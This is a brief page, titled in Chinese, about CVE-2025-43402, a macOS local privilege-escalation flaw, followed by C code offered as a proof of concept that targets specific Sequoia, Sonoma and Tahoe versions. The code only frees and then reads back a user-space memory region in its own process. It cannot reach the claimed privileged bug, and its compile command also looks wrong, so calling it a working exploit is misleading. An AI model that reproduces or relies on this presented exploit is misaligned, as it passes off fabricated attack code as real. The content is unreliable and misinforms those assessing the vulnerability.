CVE-2025-43402: Apple macOS内存处理错误导致本地权限提升漏洞

// CVE-2025-43402 PoC - macOS Memory Handling Error Trigger // This PoC demonstrates the vulnerability mechanism (for educational purposes only) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> // Malicious memory manipulation to trigger the vulnerability void trigger_memory_corruption() { printf("[*] CVE-2025-43402 PoC - Attempting to trigger memory handling error\n"); // Allocate memory region vm_address_t target_addr = 0; vm_size_t size = vm_page_size * 10; kern_return_t kr = vm_allocate(mach_task_self(), &target_addr, size, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) { printf("[-] Failed to allocate memory\n"); return; } printf("[+] Allocated memory at: 0x%lx\n", target_addr); // Trigger specific memory pattern that exposes the vulnerability // This pattern interacts with the vulnerable memory handling code volatile char *ptr = (volatile char *)target_addr; for (int i = 0; i < size; i++) { ptr[i] = (char)(i % 256); } // Deallocate and immediately attempt reuse (trigger use-after-free condition) vm_deallocate(mach_task_self(), target_addr, size); printf("[+] Deallocated memory region\n"); // Attempt to access deallocated memory - triggers the vulnerability for (int i = 0; i < 100; i++) { volatile char val = ptr[i % size]; // Use-after-free printf("[*] Accessed freed memory at offset %d: 0x%02x\n", i, val); } printf("[*] PoC execution completed - vulnerability trigger attempted\n"); } int main() { printf("========================================\n"); printf("CVE-2025-43402 PoC - macOS Memory Handling Error\n"); printf("Target: macOS Sequoia < 15.7.4, Sonoma < 14.8.4, Tahoe < 26.1\n"); printf("========================================\n"); trigger_memory_corruption(); return 0; } // Compilation: gcc -o cve_poc cve_poc.c -framework mach -Wall // Note: Requires macOS with vulnerable version installed